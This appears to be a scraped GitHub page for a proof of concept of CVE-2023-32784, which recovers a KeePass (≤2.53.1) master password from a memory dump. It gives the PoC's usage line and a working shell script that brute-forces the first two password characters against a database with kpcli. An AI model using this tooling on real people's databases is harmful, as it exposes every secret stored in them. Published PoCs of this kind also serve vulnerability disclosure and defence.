dawnl3ss / CVE-2023-32784

Retrieve the master password of a keepass database <= 2.53.1

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

keepass-dump-masterkey

Usage

python3 poc.py <PathToDmp>

Preview

As a reminder, the first character cannot be found in the dump, and for the second the script will only give you a few possibilities, in any case we recommend you to run the bruteforce on 2 chars with the script below

#!/bin/sh
# Usage: ./keepass-pwn.sh Database.kdbx wordlist.txt (wordlist with 2 char)
while read i
do
    echo "Using password: \"$i\""
    echo "$i" | kpcli --kdb=$1 && exit 0
done < $2

This script works very well in the case of a physical machine, for virtual machines it does not seem stable

Btw : the python script present in this project follows the reading of the following project: https://github.com/vdohney/keepass-password-dumper

About

Retrieve the master password of a keepass database <= 2.53.1


Languages

Language:Python 100.0%